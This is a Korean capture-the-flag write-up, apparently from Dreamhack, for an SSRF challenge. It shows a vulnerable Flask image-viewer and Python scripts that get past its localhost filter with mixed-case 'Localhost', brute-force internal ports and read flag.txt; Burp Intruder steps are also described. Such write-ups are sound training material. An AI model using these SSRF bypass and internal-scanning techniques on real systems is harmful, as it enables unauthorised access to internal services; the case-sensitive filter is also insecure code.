아래 코드를 보자 1500~1801 사이의 랜덤한 포트에서 내부 로컬 서버를 돌린다.
그리고 img_viewer 페이지에서는 URL을 필터링하고 혹시 URL이 없으면 기본 호스트와 포트는 localhost:8000으로 한다.
에러가 나게 되면 error.png를 반환하고
에러가 나지 않는다면 그 img_viewer의 인자에 그 응답값을 인코딩하여 랜더링한다.
#!/usr/bin/python3
from flask import (
Flask,
request,
render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
@app.route("/")
def index():
return render_template("index.html")
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
일단 먼저 URL을 대문자를 섞어서 우회하고 브루트포스 기법으로 내부서버가 어떤 포트를 통해 존재하는지 포트를 알아낼 것이다.
이후 그 내부서버에 들어가서 flag.txt의 존재를 확인하고 flag.txt에 있는 flag를 얻을 수 있을 것 같다.
아래 코드는 브루트 포스 기법으로 계속해서 img_viewer에 포스트 요청을 한다.
인코딩된 error.png의 길이는 65121이고 에러가 나지 않고 길이가 65121이 아닐 때가 정상적으로 요청이 성공했을 때이기 때문에 그 때의 포트가 로컬서버로 향하는 포트임을 알 수 있다.
import requests
import sys
from tqdm import tqdm
for port in tqdm(range(1500,1801)) :
url = "http://Localhost:"
res = requests.post("http://host3.dreamhack.games:16886/img_viewer",data={'url' : url+str(port)})
if(len(res.text)!=65121):
print(f"내부서버의 포트는 {port}")
break
이렇게 내부서버의 포트가 1721번이라는 것을 알아냈다.
이후 그 알아낸 포트와 img_viewer를 통해 내부서버에 http요청을 보낸다.
그 돌아온 값은 img_viewer와 함께 img 인자로 인코딩된 상태로 돌아오게 된다.
import requests
port = 1721
# get flag
res = requests.post('http://host3.dreamhack.games:16886/img_viewer', data={'url': 'http://Localhost:' + str(port)})
print(res.text)
이 res의 바디에서 중요한 것은 인자로 들어온 img값이다.
우리는 로컬서버를 이미지라고 하고 보냈기 때문에 img에는 로컬서버의 내용이 담겨 있을 것이다.
그럼 저 인코딩된 내용을 다시 디코딩해보자
디코딩 하면 이런 로컬서버의 메인페이지 코드가 나온다.
여기서 중요한 것은 아래에 바로 이 부분인데 로컬서버에 flag.txt가 저장되어 있는 것을 알 수 있다.
그렇다면 로컬서버의 flag.txt를 이미지 인자로 하여 다시 http 포스트 요청을 보내보자.
import requests
port = 1721
# get flag
res = requests.post('http://host3.dreamhack.games:16886/img_viewer', data={'url': 'http://Localhost:' + str(port)+'/flag.txt'})
print(res.text)
그러면 img_viewer의 html코드와 그 안에 img가 flag.txt가 인코딩 된 상태로 들어온다.
저 flag.txt를 디코딩해보자
그럼 이렇게 FLAG를 얻을 수 있다.
이 문제는 브루트 포스를 사용한다는 점에서 버프 슈트의 intruder로 반복적 공격을 할 수 있다.
먼저 아래처럼 패킷을 잡기위해 1500포트로 연결해본다.
그럼 이렇게 패킷이 잡힌다.
이걸 intruder로 보내자
우리는 포트를 바꿔가면서 요청할 것이기 때문에 포트로 position을 잡는다.
그렇게 payload를 1500-1800으로 설정후 브루트포스 공격을 시작하면 1679 포트로 접속했을 때만 패킷의 Length가 다른 것을 볼 수 있다.
이 말은 즉슨 1679 포트에 로컬서버가 열려있다는 것이다.
그럼 다시 img_viewer로 가서 이 포트로 로컬서버에 연결해보자.
이전 실습으로 flag.txt.가 로컬서버에 있는 것을 알았으니 바로 flag.txt로 접속한다.
그 후 img_viewer에서 소스를 확인해보면 flag.txt가 인코딩 되어 응답된 것을 확인할 수 있다.
그 부분을 디코딩 하면 flag를 얻을 수 있다.